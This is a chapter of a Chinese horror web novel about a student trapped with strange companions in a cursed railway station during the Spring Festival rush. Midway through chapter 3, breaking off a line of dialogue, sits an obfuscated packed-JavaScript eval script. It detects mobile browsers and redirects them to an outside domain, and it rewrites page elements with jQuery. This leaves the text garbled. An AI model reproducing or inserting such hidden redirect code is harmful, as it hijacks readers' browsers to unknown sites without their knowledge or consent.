《压祟钱[无限]》 1. 春运 高铁站外,进站的队伍排成了长龙。 天气十分的阴沉,雪也越下越大,地上已经积了得有半尺高。呼号的北风席卷而上,空中的雪花肆意乱窜,原本就冷的天气愈发雪上加霜。 “风太大了,大家都排到走廊上来!”台阶上,负责秩序的志愿者举着喇叭喊了声。 原本站在广场上被凛冽的寒风吹得瑟瑟发抖的乘客们一听这话纷纷往走廊上挤,奚元也随着人群挤了进去。 实在是太冷了。 奚元跺了跺冷到发僵的脚,把脖子缩进了围巾里。 腊月二十六的天气怎么能差成这样。他忍不住有些烦躁地想,早知道就不参加国际大学生程序设计竞赛了,趁着前些天天气好回去,这会儿都已经烤上火吃上瓜子儿了。 “大过年的遇上这鬼天气,不知道的还以为世界末日了呢。”他身后的大哥抱怨着。 奚元蜷缩着身体,心想:可不是么。 随即他跟着队伍拐了个弯,肆虐的冷风被他后面的人挡下了许多,他身上的冷意顿时减缓了许多。 可还没等他的身体彻底回暖,忽然又是一阵强劲的妖风席卷而过,这风比之刚才的更加可怖,风力大到连走廊上方的铁皮都给吹掉了一层,铁皮被刮到广场上发出哐啷的巨响,高铁站外霎时人仰马翻,乱成一团。 “卧槽!站不稳了!” “我的行李!” “诶!快帮忙拉一下,这小姑娘要吹飞了!” 奚元也被这妖风刮得好几个踉跄,好在他身后的大哥及时的抓住了他。 热心大哥一连抱住了好几个人:“大伙儿都快聚一块儿!这风大的离谱,一个人扛不住!” 阴风呼号,发出凄厉的呜咽,雪花纷飞,整个高铁站外霎时白茫茫一片,两米开外人畜不分。 奚元跟四五个人抱成一团,狼狈不堪,他眯着眼睛看了眼外面这架势,心想妖风一时半会儿是停不了了。 于是他扯着嗓子喊了声:“天气实在太恶劣了,我们快扫码进站!” 话音刚落,热心大哥就焦躁地说:“移不动啊哥们儿,前面一堆人都给堵死了!” 紧接着是个女人的声音:“这雪到处飘迷眼睛,我都分不清哪边是检票口了!” 因为奚元的一句话,一群人叽叽喳喳讨论了起来。 “各位先抱紧吧,等过了这阵风再说!” “就怕这风一时半会儿停不了!” “咱们先慢慢往前挪吧,能挪多少是多少!” “压……岁……钱。” “我的左手边是检票口,我们排在这条队伍后面!” “也只能慢慢挪了,只希望这风别再刮大了。” “压……岁……钱。” …… 等等。 奚元眉头一皱,讨论声中……好像出现了一个不合时宜的声音,说着什么……压岁钱? “压岁钱?”奚元撇掉糊在眼睛上的雪花,看向抱在一起的几人:“你们突然说什么压岁钱?” 讨论的正热烈的几人声音戛然而止。 那热心大哥转过头,一脸疑惑地看向奚元:“什么什么压岁钱?你脑子吹糊涂了吧,我们正说着排队检票呢!” 奚元:? “没有说么?我刚才明明听到了,那声音听起来黏糊糊的,像是嗓子糊了一层血浆似的,还不止说了一次。” 热心大哥一脸荒唐地哈了一声:“兄弟你是真傻了吧!正常人哪有这样的声音,你们声音这样吗?” 其他几人纷纷说不是,没有说这话之类的。 奚元眉头皱得越发深了,怪了,听声音还真不是他们发出的。 那刚刚那几声压岁钱到底是谁说的?难不成真是他被风吹得出现幻觉听错了? 正想着,他眼角瞥到了高铁站右边的墙角处,那角落没有大灯,又加上旁边有堵墙挡着,很是阴暗,不仔细看竟是发现不了那儿还有一个检票口,而且那检票口还没人排队! 他当即把刚才那古怪的声音抛诸脑后,给大伙儿指了指右边的检票口:“那儿有个空着的检票口,咱们去那儿验票吧,比这儿快!” 其他人朝右看去,只看到几个排得满满当当的检票口。 “这个时候怎么可能有空着的检票口,这不到处都是人么?”一个长发女人当即说。 奚元觉得女人眼神可能不太好,他又指了一遍:“在那儿,看到了么!” 热心大哥又往右瞟了一眼后,神色古怪的打量他:“兄弟,你一会儿压岁钱一会儿空检票口的,到底要干嘛呢?” 一个大叔只以为奚元想排个人少的队,劝道:“小伙子,咱都排到这儿了,再换个队伍排不划算,按我说啊咱也别乱动,说不定进去的还快些。” 其他人也跟着附和:“是啊,快了,年轻人有点儿耐心吧。” 奚元不解:“那墙角的检票口一个人都没有,现在过去就能进站,不是更快?” 他只以为他们这大风天气不敢随意走动才说的这些推辞的话,便也不打算强人所难,索性挣脱几人,准备一个人过去,他实在太冷了,只想快点进去暖和暖和。 “那你们在这儿排着,我过去刷身份证试试。” 说着,他就拉着行李,艰难地逆风走了。 “诶……”热心大哥想叫住他,可惜他已经从队伍中间钻了过去。 冰冷的雪花飘到热心大哥的脸上,一股凉意直接沁到心底,他忍不住打了个寒颤。 没有人的检票口…… 他迟疑地探出脑袋,打着寒霜的眼珠朝一边滚动过去,直直看向了右边墙角,那里雪花纷飞,白茫茫一片,只隐隐能看到被吹翻的烤肠摊子和散落一地,滚得七零八落的烤肠。 他顿时只觉心中一悸,忍不住咽了口口水。 那地方……哪儿有那哥们儿说的空检票口。 奚元贴着墙好不容易挪到了墙角的检票口,这里配的验票机很新,锃光瓦亮的,像是还没被人用过。 估计是新开的一条,想必是刚才大风一刮,工作人员没来得及通知,又加上这位置隐蔽,没什么人注意到这儿。奚元这样想着,掏出身份证放到了验票机上。 【验证通过】 验票机上很快显示,随即机子上的拦板收起。 奚元呼出一口气,一只手拖着行李一只手揣兜走了过去。 折腾了半天,终于是能进站了,他心里轻松不少。 却是在这时,他在衣兜里摸到一个东西,他拖行李箱的手一顿,低头看去。 是个红包。 红包?兜里什么时候多出了个红包?他明确记得兜里除了身份证再没别的东西,这红包绝对不是他自己的,谁塞给他的? 不知怎的,奚元忽然就联想起了刚才那个古怪的声音。 压岁钱…… 跟这个红包有关系吗? 奚元左右翻看着红包,神色狐疑,他忍不住转头望了眼之前排队的地方,那里早已风雪弥漫,辨不出人影。 到底是谁在恶作剧?奚元皱着眉心想,若放平时,他定要找着人说清楚,但眼下这天气…… 还是算了吧。 这样想着,奚元把红包重新放回了兜里,转身进了高铁站。 检票口归于冷清,再没有一人过来。 嗡——嗡——嗡。 验票机突兀地响起三声呜咽,紧接着机身屏幕上【验证通过】四个大字频闪了几下后消失不见,随即屏幕亮起了红光,重新出现一行白色字样。 【新年好,我的新村民】 砰! 红色的拦板重重打了下来,随即慢慢变成黑色,黑色渐渐蔓延,从地面,到墙上,从屋顶到虚空。 检票口被黑色吞噬,宛如一个巨大的黑洞。 —— 一进站奚元就感觉自己活了过来,被冻僵的四肢此时此刻终于感受到了一丝暖意,他拍了拍身上的雪,终于把脖子从围巾里伸了出来。 过安检的时候奚元没有看到工作人员,他也没管那么多,把行李放上传送带自己过了安检,而后他准备找个位子坐下。 候车厅的人比他想象中要少很多,稀稀拉拉坐了几个,有很多空位。 拉着行李走在过道上的奚元脚步慢了下来。 奇怪,春运期间高铁站的人怎么这么少?是外面排队的人还没进来吗?还是这检票口进的候车大厅跟他们不一样? 正疑惑着,忽然有个瘦弱的长发男人发了疯似的朝他这儿狂跑过来。 “别!别抓着我!!不过年,不过年!我不过年!!” 那男人边跑边喊,脸色苍白,眼睛通红 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周围的人都各忙各的,坐在他前排椅子右前方有个蓝色头发的女生,她正戴着耳机打游戏;往她旁边数第四个椅子上一个中年大叔睡得正香;还有他对面左边坐着一对情侣或者是夫妻,女人瘦成了皮包骨,男人却是胖的出奇,一身的油腻肥肉,估摸着得有300多斤,这男人一直在吃泡面,在他脚边已经摆了六七盒泡面桶,胃口真不是一般的好。 除了周围的人,奚元还注意到一样东西,那东西放在那对一胖一瘦的情侣脚边,应该就是他们的。 那是一个塑料桶,桶里装了很多泡面,外加牙刷、毛巾、裤子这些生活用品,这些都没有什么,怪异的是,桶的两边居然挂了一条鱼和一袋豆腐。 高铁站可以直接提着条生鱼进站吗?他们是怎么过了安检的? 奚元不解,但他也不是个多管闲事的,打量几下后就收回了疑惑的视线。 眼下距离发车还有一个小时,他掏出手机,准备给老妈打个电话过去。 嘟嘟嘟—— 没响应。 奚元拿起手机一看,居然没信号了! 真是有够倒霉的,先是遇到怪天气,后又被人莫名其妙塞了个红包,这下连手机信号都没了。 奚元啧了声,站起来想要找找信号。 就在这时,整个候车大厅突然一黑。 我去! 怎么搞的!停电了? 一下子大厅里人声喧哗,都在喊怎么突然停电了。 奚元倒是没喊,但他也觉得挺离谱的,高铁站里能停电他也是第一次见,关键停就停吧,怎么大厅里能这么黑,都伸手不见五指了,才下午呢,怎么一点太阳光都没有。 奚元拿起手机就想照明,结果还没等打开手电筒,砰嗵一声—— 他撞上了一个人。 那人比他高半个头,从身高和体格的感觉来看应该是个男人,他刚才估摸着是撞到他鼻梁了。 “嘶!”奚元捂着额头疼的倒吸了一口凉气,同时还不忘伸手找那位被他撞的人。 他摸到了那人的胳膊,只感觉肌肉紧实,精壮有力,一看就是练过的。 “你没事儿吧,不好意思,太黑了没注意前面有人。”他诚挚地道歉道。 只听男人先是哼笑了声。 而后一个低沉又柔和的声音缓缓传进奚元耳朵:“没事。” 好舒服的声音。 奚元边心里感慨着边松了口气:“呼,没事就好。你是刚过来的吗?我记得我对面没人坐来着。” “嗯。”那男人应道,“过来找位置坐的,结果停电了。” 奚元哦了一声,顺着话说:“你怕是吓了一跳吧。” 男人只是笑了笑,没应声。 顿了顿,他才说:“应该很快就能来电了。” 话音刚落—— 啪! 高铁站的灯在短暂断电后果然很快又亮了回来。 奚元被强光刺得眯了眼,再睁开他就看到一个小麦色肌肤的男人插着兜,勾着笑站在他面前。 这男人留着一头到脖子的卷毛长发,左耳上挂着一枚尖锥一样的耳环,深邃的眉宇间流淌着波澜不惊的神色。 卧槽,好帅! 奚元忍不住心中发出惊叹。 2. 晚点 “你好。”男人向奚元打了声招呼。 奚元这才回过神来:“哦,你好你好。” 男人笑了笑,迈步坐在了奚元旁边的位置。 “这儿没人坐吧?”他问奚元。 奚元心想:这人等坐下了才问,是不是多此一举了。 嘴上却是礼貌的应道:“啊没人。” 说完,他坐回了自己的座位,忍不住又打量了两眼男人。 长得真挺帅的,帅得他都有点儿羡慕了。 不过这帅哥手上背上什么东西都没提没背的,过年回家是一点东西都没带吗? 他实在好奇,忍不住问道:“哥们儿,你咋没带行李?” 盯着地板看的男人愣了两秒才反应过来奚元是在跟他说话。 “你说我么?我没什么东西好带的。” 奚元一向自来熟:“你这轻装上阵路上还挺舒服的,不像我,大包小包的,到处拎着走,费劲。” 男人只是瞥了奚元的包一眼,没说话。 奚元又主动介绍自己:“我叫奚元,溪水不要三点水的奚,一元两元的元,哥们儿你呢?” 男人没看他,一直盯着前方的显示屏,淡淡道:“褚翊。” 奚元:“褚翊……哪两个字啊?” 男人却是没再回他,他仍旧盯着显示屏,喃喃:“班次晚点了。” 奚元一愣,转头看向显示屏。 还真是,上面的列车班次居然全部显示晚点! 是因为外面的极端天气吗?怎么手机上一点通知也没有? “这下糟了,也没显示晚点多久,一时半会儿是回不去了。”奚元皱着眉说。 褚翊的表情却是淡淡的,只听他轻描淡写地说:“没事,只要赶上大年三十之前走就行。” 奚元惊讶道:“你心态可真好。我可不行,三十走实在是太晚了,我家里人估计得着急死。” 褚翊:“急也没用,三十之前不一定有车来呢。” 他说话总是不紧不慢的,如果是放在平时,定会让人觉得如沐春风,但眼下奚元是越听越着急。 “不会吧,现在才二十六,距离三十还有四天呢!怎么可能发不了车。” 就见褚翊勾了勾嘴角:“那就等等吧,看看还会不会发生些其他事。” 发生其他事? 能有什么事? 难不成这候车大厅里之前就发生过什么事? 奚元只觉得心脏狠狠跳了一下,刚想问褚翊会发生什么事,他就看到从站台里面走出来两位乘务员,一男一女分别站在了在A1检票口左右两侧。 那女乘务员先是清了清嗓子,而后拿出一个喇叭:“喂。”她试了下音。 候车大厅里所有人都朝她看去。 只见女乘务员拿着喇叭继续说道:“今晚到明天下午八点高铁无班次运行,请大家今晚在候车大厅休息,明天继续等候列车班次通知。” 尖细的声音从喇叭里传来,飘荡在整个候车大厅,大厅里鸦雀无声,听到这一消息的众人竟是没一人有所反应,反倒是神情变得异常紧张严肃。 除了奚元。 “什么!明天也来不了?”奚元神色焦躁,“有没有搞错!” 他还指望能早点儿回家呢! 他站起来,打算找乘务员问清楚到底什么个情况。 却没注意到,就在他走过去的霎那,他身后的褚翊眯了眯眼睛,意味深长地看向了他。 不光是褚翊,所有人的目光都聚焦在了奚元身上。 一阵诡异的气氛在候车大厅内盘旋。 奚元在女乘务员面前站定,他先是打量了一番女乘务员。 女乘务员长着一张让人记不住的大众脸,微笑服务倒是做得很到位,她穿了一身制服,胸前别着她的工牌,工牌上印着她的名字——王微微,她的名字下面还有一串数字,那是高铁站的投诉电话。 说实话,奚元现在急火攻心很想骂人,但一看到女乘务员一脸微笑的表情,他还是忍住脾气让自己尽量看着礼貌:“请问高铁站到底出了什么事?为什么会晚点这么久?下午的时候高铁站里还停电了,你们作为工作人员难道不应该给我们一个合理的解释吗?” 女乘务员的脸上依旧洋溢着笑容:“列车还没来,麻烦您再休息一晚上。” 奚元:“我知道列车没来,就是想问问没来的原因是什么。” 女乘务员似乎只会这一句:“列车还没来,麻烦您再休息一晚上。” 奚元:…… 还真是一点儿都说不通啊。 他知道应该是问不出什么了,揣着一肚子的火气就要回座位上。 就在他转身的那一瞬间,候车大厅里所有人打量的目光一秒撤回,只有褚翊依旧盘着腿,似笑非笑地看着他。 奚元敏锐地察觉到了这转瞬即逝的诡异的气氛。 那一刻,他只觉心中冒起一阵寒意,没忍住咽了咽口水。 不仅仅是因为大厅里其他人奇怪的反应,还因为在同一瞬间,他的脑海中还蹦出了不久前发生的事,那个红包、那个疯子、还有突然的停电…… 直到一阵哭泣声传来,这才打破了候车大厅里怪谲的寂静。 奚元如梦初醒,顺着哭声望去。 是一个坐在靠B2检票口比较近的长发女人,她从座位上站了起来,整张脸看起来都没什么血色,她似乎崩溃到了极点,哭着喊着要离开这鬼地方。 “会没命的,再待在这儿会没命的!呜呜呜呜我要回家,这鬼地方谁爱待谁待!” 她哭喊着就从门口的安检口跑了出去,连行李都没要,这次倒没有一个人上前拦住她。 看着女人从安检口消失,奚元心事重重地回到了座位上,走起了神。 过了一会儿,他才转头问褚翊:“褚翊,为什么大家看起来都这么紧张?” 褚翊转头看他,淡淡道:“有吗?” 奚元心想:难道没有吗? 他想起刚才跑出去的长发女人说的那些话,心中隐隐升起一股不安,他总觉得……有什么不好的事即将发生。 这样想着,他朝门口看去,就见那安检口的传送机旁边围满了人。 他眉头一皱,冲褚翊说:“那儿是不是发生了什么事啊?” 一直盯着地板发呆的褚翊抬起头,眯着眼睛朝安检口看去:“可能吧。” 奚元心里的不安感越发强烈:“我们也过去看看吧。” 褚翊转过头,漆黑的眼珠看着奚元:“好啊。” 两人相伴前去,奚元心里打着鼓,不知怎得,他心里竟是感觉到一阵紧张,反观褚翊,他倒是一脸淡定从容,好像从他坐在椅子上起,他就一直是这么一副似笑非笑的表情。 两人走到了人群外围,奚元发现大家都在朝着里面的传送带张望,于是他踮起脚尖,也看了看。 传送带上什么都没有。 这群人到底是在看什么?奚元决定挤到前面一探究竟。 还没等他扒开人群,他就听到咚的一声,紧接着传送机发出刺耳的警报,警报声不停,人群里也开始响起一阵尖叫声。 “啊啊啊啊啊啊啊!” “卧槽!” “快走快走!” 最里排突然开始疯狂后退,狠绊了几个趔趄,他们从人群里挤出来,脸上全都是见到怪物般的惊恐之色。 事情不太对劲,奚元眉头紧锁,赶紧挤上前去,褚翊在他身后跟着。 还不等奚元站稳,传送带上的一幕让他直接呆立在原地。 就见传送机的防护帘被顶开,一把黑长的头发从里面被传送出来,紧接着是一张被搅得稀烂的脸,然后再是完全变形的身体……从着装上来看,赫然是刚才嚷嚷着要出去的长发女人! 防护帘从这副溃烂的身体上扫过,她的头顶松松垮垮的晃动着,没过几秒,顶着一头乌发的头盖骨整个脱落,脑浆从女人的头里流了出来。 于此同时,传送机上竟然出现一行字:请乘客在候车大厅等候列车到来,勿外出走动。 啊啊啊啊啊啊啊啊!!!! 四周的尖叫声越发大,一众看热闹的人顿时如鸟兽 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褚翊就带着他往原来的座位上走。 褚翊抓着奚元胳膊的手没松,他似乎一点没被吓着,一边走着还不忘关心奚元:“吓坏了吧?” 奚元惊魂未定地狂咽了几口口水:“我汗毛都竖起来了,这候车大厅里有脏东西啊,不然那女人怎么会死的那么凄惨。” 褚翊唔了声:“是挺惨的。” 奚元:“那传送机上还说不要外出走动,八成就是有什么东西不想让我们离开候车大厅,一旦离开,下场就是死,那女人就是警告,我们出不去了。” 褚翊:“眼下只能静观其变,没别的办法了。” 静观其变,好一个静观其变,奚元现在想死的心都有。 他尽量让自己保持冷静,但还是忍不住问了句:“褚翊你害怕吗?” 褚翊似乎还认真思考了一下才说:“嗯……还行吧。” 还行? 奚元一脸不可置信地朝褚翊看去,竟是看到褚翊一脸淡定,当即心下佩服不已:“你胆子真大,从小就这么胆大?” 褚翊淡淡道:“嗯,从小跟着收尸,胆子都是练的。” 奚元:! 收尸! 褚翊家里竟然是干收尸工作的! 他又打量褚翊两眼,不由得对褚翊越发佩服。 两人又闲聊了几句,奚元说着说着,感觉嘴巴里一阵发苦,估计是刚才干呕弄的。 恰好路过一家便利店,他想进去买瓶水。 这家便利店看着蛮温馨的,装修仿了八九十年代的特色,可能是过年,里面还贴了年画,对联什么的,看着特喜庆。 奚元拍了拍褚翊的手,示意他不用扶了:“我去买瓶水。” 他刚要往便利店走,褚翊却是拉住了他。 褚翊:“你中午估计没吃饭吧,咱们去粉馆嗦粉去。” 褚翊说的粉馆是开在便利店对面,这会儿店里正有几个人在吃着。 被褚翊这么一说,奚元倒还真是觉得饿了,但他还是想买瓶水漱漱口,便解释说:“我嘴里苦,喝水去去味儿。” 正说着,那便利店老板娘朝他们看来,老板娘的妆很浓,粉底比脖子白了好几个色号,嘴巴红得妖艳,她这会儿正拿着座机话筒打电话,看到他们还朝他们招了招手。 “你看,那老板娘多热情。”奚元感叹道。 褚翊却还是拉着他:“别去那儿了。” 奚元皱眉,不解道:“为什么?” 褚翊神色晦暗不明:“吃碗热腾腾的面也能压苦味,还暖胃,比喝水管用。” 奚元心想也是,便说:“也行。” 他冲那老板娘不好意思地挥了个拜拜的手势,跟着褚翊去了粉馆。 便利店里,老板娘的笑僵在了脸上,厚重的粉底在她脸上皲裂开来,裂纹爬满了她的全脸,有种难以言明的丑态,只见她收回打招呼的手,而后狠狠挂断了电话。 3. 诡异 奚元与褚翊在粉馆坐下,两人一人点了一碗牛肉粉,那店家还给他们送了煎蛋,别说,那味道还挺好吃的,奚元埋头库库几口吃完,吃得很满足,这也让他从刚才那女尸的惊恐中稍微缓过神来,他对褚翊说:“褚翊你说的没错,这大冷天的确实还是得吃点热乎的东西。” 说着,他站起来就要去结账,他走到收银台,掏出手机,问店家:“两碗粉一共多少钱?” 店老板却是嘿嘿一笑:“你俩的粉钱那小伙儿都给了,咋的,你要给我双份儿啊?” 奚元惊诧:“给了?什么时候?” 他跟褚翊坐一块儿呢,怎么没注意到他已经给钱了。 店老板挥挥手:“早给了!” 这个早,他也没说有多早。 这时,褚翊走了过来喊奚元走,奚元想了想,也没再纠结,两人跟店老板道了别,便准备离开。 忽然,褚翊脚步一顿。 他视线下移,往奚元脚边看去。 “是你掉的东西吗?”他指着地上问。 奚元闻言也低下了头,就见他兜里的红包掉到了地上。 “哦,是我掉的。”他边说边捡起了红包,“估计是刚才拿手机的时候跟着一起滑出来了。” 两人一起往粉店外走着。 褚翊看着奚元手上的红包没挪眼,他问:“你家里人给你的红包吗?” 奚元拿着红包来回看了看:“不是,不知道谁塞给我的。” 褚翊:“陌生人?” 奚元心说是不是人塞的还说不定呢。 但他不想把气氛弄得很紧张,便应道:“嗯,估计是在外面排队的时候塞的,当时一直听到有人说压岁钱压岁钱的,搞得我莫名其妙。” 褚翊凝神片刻不知道在想些什么,过了一会儿才问:“你有打开看看吗?” 奚元:“还没呢。” 他抬头看褚翊,就见褚翊一脸好奇的样子,他抿了抿嘴,有些犹豫地拆开了红包。 里面装的倒不是纸币,而是五枚铜钱。 下意识的,奚元松了口气,心里想着还好不是些符咒之类的邪门儿东西。 “还是个古董。”他嘟囔句,把铜钱递给了褚翊看,“我猜这东西八成跟我进来这候车大厅有关,感觉不是什么好东西,还是丢了吧。” 褚翊的眼神先是一震,明显很惊讶,他从奚元那里接过铜钱,端详了好一会儿才重新放回奚元手里。 “压祟钱哪儿有不好的,好好收着。”只听褚翊说。 奚元看了眼褚翊,又看了眼铜钱,顿了顿才重新将它们放回红包,装进了衣兜里。 人却是沉默下来。 他不知心里想到了什么,回头又望向了那个便利店,站在原地看了很久。 有些东西乍看是好的,但所谓的好可能也只是人的先入为主。 比如那家便利店,里看着还是一片喜气洋洋的,那墙正中央挂着的年画里的年娃娃笑得憨态可掬。 春节挂年画本是图个吉利,可为什么那里面的年娃娃手里抱的不是鱼而是一个钟呢。 本该年年有余,现在倒变成送终了。 这……真的吉利吗? 接下来的一整个下午,奚元都心不在焉的。 褚翊自坐回了座位就开始闭眼睡觉,奚元也一直坐在椅子上没再走动。 斜对面那个胖男人一直在嗦着方便面,味道时不时传到奚元的鼻子里,奚元忍不住朝他瞥去。 1、2、3、4、5……31。 那胖男人不声不响的居然一连吃了31桶方便面!看他吃的一脸陶醉的样子,似乎还一点不觉得撑! 可真能吃。奚元心中惊叹。 那男人感觉到奚元在看他,瞪了奚元一眼,奚元也不好意思再看了。 实在无聊,他只好拿出手机玩点不联网的小游戏,这么断断续续的玩着,竟然就玩了一下午。 等褚翊醒来的时候,奚元还在玩儿。 褚翊朝手机看了一眼:“这是什么游戏,怎么都是些数字?” 奚元抬起头看他:“哦,数独,你没玩儿过吗?” 褚翊眸光闪烁,似乎对这个游戏挺感兴趣:“好像玩儿过,记不太清了,怎么玩的?” 奚元就跟他讲了一遍游戏规则。 褚翊听完点点头,淡淡评价了句:“嗯,挺有意思的。” 奚元打量着褚翊:“给你玩会儿吧。” 褚翊:“行。” 奚元就把手机递给了他,不过褚翊好像从来没用过智能手机似的,不知道界面怎么操作,他身体挪了挪,靠得离褚翊更近了些,手把手教褚翊该怎么操作,两人手指在手机屏幕上交错划过。 晚上八点,高铁站突然黑了灯。 “关灯了。”奚元抬起头,四处看了看说。 褚翊把手机还给了奚元:“估计是在提醒我们要睡觉了。” 他说完,候车大厅里就传来悉悉索索的声音,应该是有人正在躺下准备睡觉。 奚元惊奇:“大家还真睡得着?” 褚翊:“可能习惯了吧,不睡身体也遭不住。” “那你睡吗?” “我现在倒是不困。” 奚元想了想:“我还是先躺着吧,睡不睡的再说。” 说着,他头朝东,脚靠着褚翊,和衣躺在了冰冷的不锈钢椅子上。 哪知他刚躺下,褚翊却是拉了拉他的腿。 奚元抬头看他,黑夜里他看不清褚翊的神情。 只听褚翊说:“换个方向睡吧。” “为什么?” “你现在这朝向不吉利,头朝东脚朝西,是要驾鹤西去的,你得头朝我这儿来。” 奚元又是一阵惊奇:“你还懂这些讲究?” 黑暗里,褚翊笑了笑:“我们村里的说法,从小听自然而然就知道些。” 奚元也笑着调侃句:“什么村啊还这么封建迷信。” 褚翊:“新年村啊。” 最后,奚元本着宁可信其有不可信其无的想法,还是掉了个个儿躺下了。 他的头就在褚翊的大腿边,此时他的耳朵就像扬声器一样,褚翊的一举一动所发出的声音他都能听得一清二楚。 他感觉到褚翊换了个腿翘二郎腿。 实在是没心情闭眼睡觉,他睁着眼睛在黑夜里发呆。 “褚翊。”他忽然叫了声,“你觉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15835546|175663||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得今晚还会发生怪事吗?” 褚翊一下没反应过来:“什么?” 奚元的声音有些发颤:“那些人听到今晚停运之所以这么害怕,是因为晚上会有不好的事情发生吧,比如死人。” 褚翊想了想,说:“也许吧,这哪能说的定呢。” 奚元:“你说这大厅里的脏东西到底会是什么?” 褚翊一时间没说话,奚元感觉得到他转过了头看向了自己。 只听褚翊笑笑:“先睡吧,我觉得你今晚有好运,脏东西上不了你的身。” 奚元听完苦闷一笑:“那就借你吉言了。” 时间分秒流逝,转眼就到了九点,原本毫无困意的奚元竟是打了个哈欠,无意识间,他竟是沉沉睡了过去。 候车大厅迎来前所未有的寂静,似乎所有人都已经“睡”了过去。 一股刺鼻的香气在空间里弥漫开来,候车大厅亮起了猩红的灯,屋顶竟是不知何时密密麻麻挂满了红灯笼。 咚——咚——咚。 走廊里传来一阵沉重的脚步声,那声音在候车大厅晃悠了一圈,最终在奚元跟前戛然而止。 一只肥硕的大手伸了出来,在红光下显露出绽开的皮肉,它伸进了奚元的衣兜,拿出了奚元的手机,手机的屏幕是亮着的,上面“正在录音”的按钮异常醒目。 那人似乎很愤怒,呼呼喘了两声粗气后,猛地将手机捏了个稀碎。 …… 奚元是被一阵咒骂声吵醒的。 “谁偷了我的鱼?他妈的我就问到底谁偷了我的鱼!” “我日你们先人祖宗!” “一群狗娘养的。” …… 他迷迷糊糊的睁开眼,从椅子上坐起来后竟是一个惊颤。 怎么白天了!自己昨晚睡着了?明明八点多的时候还一点困意都没有的啊! 他想到什么,表情跟吃了屎一样,赶紧掏兜找手机,结果掏了个空,低头一看才发现已经碎成渣渣的手机尸体。 奚元嘴唇惊恐地一颤。 昨晚有人……来过他这儿,估计还看到了他在录音…… 他顿时心情就不美妙了。 旁边的叫骂声一直没停过,奚元深吸一口气,平复了一下心情,这才朝一旁看去。 在吵的是那位胃口很好的胖子,他挂在塑料桶上的鱼不见了,应该是昨天晚上被人偷了。 鱼被偷了,手机被搞得稀碎…… 会不会是同一个人下的手?奚元心中惊疑。 但就只是做了这些这么简单吗?没有死人?看情况好像是没有,他的手机都被人砸了,但人却是一点伤没受,看起来那脏东西昨天晚上没有想杀人。 他想问问坐他旁边的褚翊昨天晚上有没有察觉到什么动静,转过头去才发现旁边位子是空的。 是走了吗?奚元挑了挑眉。 他环顾四周,在人群里找着了褚翊。 褚翊正站在不远处的墙边,背着手抬起头,盯着墙上贴着的巨型福字剪纸看,那剪纸奚元进来的时候也看到了,当时他还想高铁站还挺会搞气氛,现在再看却不是那么回事儿了,不都说福倒福到么,这里的福字却都是贴的正的。 4. 凑伴 丢了鱼的胖子情绪越来越激动,把自己钟爱的泡面都给摔了,一直跟着他的那位瘦骨嶙峋的女人被吓得一哆嗦,一下就哭了起来。 “今天老子不找着鱼,你们一个都别想好过!” 胖子狠话一放,跑到前边儿挨个儿问起话来,他一脸凶相,说话又跟谁都欠他似的,有几个男乘客差点儿没给惹毛跟他打起来,他倒是不怕打架,一门心思地要找着那条鱼,就连那神智不清的疯子都不放过。 疯子本来坐在那儿就哆哆嗦嗦的,胖子往他跟前一站,嗓子一吼,他当即吓得一个原地起跳,抬起眼皮畏畏缩缩地看向胖子。 “啊啊啊啊啊啊啊!!!!” 那疯子竟是被吓得在原地惊叫起来,仔细一看脸上还眼泪鼻涕横流,下边儿还尿了一裤子,更疯了。 奚元眉头轻皱,心想:这胖子为了个鱼至于么? 疯子附近坐了一男一女,这会儿估计是闻到尿骚味儿了,捏着鼻子提着行李逃也似的走开。 奚元看到那两人,想了想,冲他们招招手:“喂朋友,来坐这儿吧!” 他用手拍了拍原来褚翊坐的位子。 走廊上的两人一愣,互相对视一眼,估计是没料到这候车大厅里还有人会这么主动。 不远处一直这瞧瞧那看看的褚翊也听到了动静,下意识地转头看向奚元,眼神微微往下就看见奚元放在他椅子上的手。 他心里似乎泛起了一丝异样的波动,忍不住捂住了胸口,一种熟悉又陌生的感觉,却是品不出具体是什么样的情绪。 他不打算再溜达,抬腿朝奚元走去,重新坐到了奚元旁边。 奚元一愣,看着褚翊:“我还以为你不会来这儿坐了呢。” 褚翊:“坐习惯了。” 奚元:“哦,行吧。” 转头又招呼了那一男一女一声。 那一男一女有些尴尬的笑了笑,站在原地也不知道往哪儿动,周边还有其他人朝他们看,最后还是女的拉了男的一把,接受了奚元的好意,坐到了奚元对面。 男的一坐下就卸了身上的包,烦躁的嘟囔了句:“一大早的,可真有够恶心的。” 这话明显是冲着那疯子去的。 而那扎着麻花辫的女的不知道是不是见着帅哥有点情不自禁,一连看了褚翊好几眼。 而后才想起来给了男的一肘子:“也别这么说,他也怪可怜的,也不知道那晚是看到什么东西被吓成这样。” 男的把包放在了脚边:“你快别说了,我现在想想还觉得瘆得慌。” 奚元听着两人的对话,觉得喊他们过来值了。 他友好地笑了笑,决定从他们嘴里套点儿话:“听着感觉你们来挺久了?” 男的先是转头打量了奚元两眼,估计是见奚元笑得灿烂,他整个人松了松,戒备心放了下来,说:“我昨天见到你们了,你们都是昨天才来的吧?” “是啊,刚来吓坏了。”奚元道,“我叫奚元,他叫褚翊,你们呢?” 男的:“周格。” 女的接着:“张跳跳。” 男的跟着又补充句:“我比你们早两天来。” “你早两天也没走?班次晚点不是昨天才发生的事儿吗?” “那个不准,刚进来这里的人都会看到那玩意儿,其实这高铁站老早就这样了,邪门儿的很。” 奚元心道:原来是这样。 继而他看向张跳跳:“所以你也来这三天了?” 张跳跳:“我比你们都早,来了得有四五天了。” 奚元这回是真惊讶了:“哦,原来你们不是一块儿的啊,我还以为你们是情侣呢。” “哪儿能啊!”张跳跳尴尬地笑笑,“你误会啦,我们就是临时凑的伴儿,这地方危险,两个人互相照应安全一点,你俩不也凑了个伴儿么。” 凑伴儿? 他跟褚翊么? 奚元一愣,心想估计褚翊也没想着凑伴儿吧,只不过是恰巧坐一起了而已。 脸上却是笑笑,没做回答。 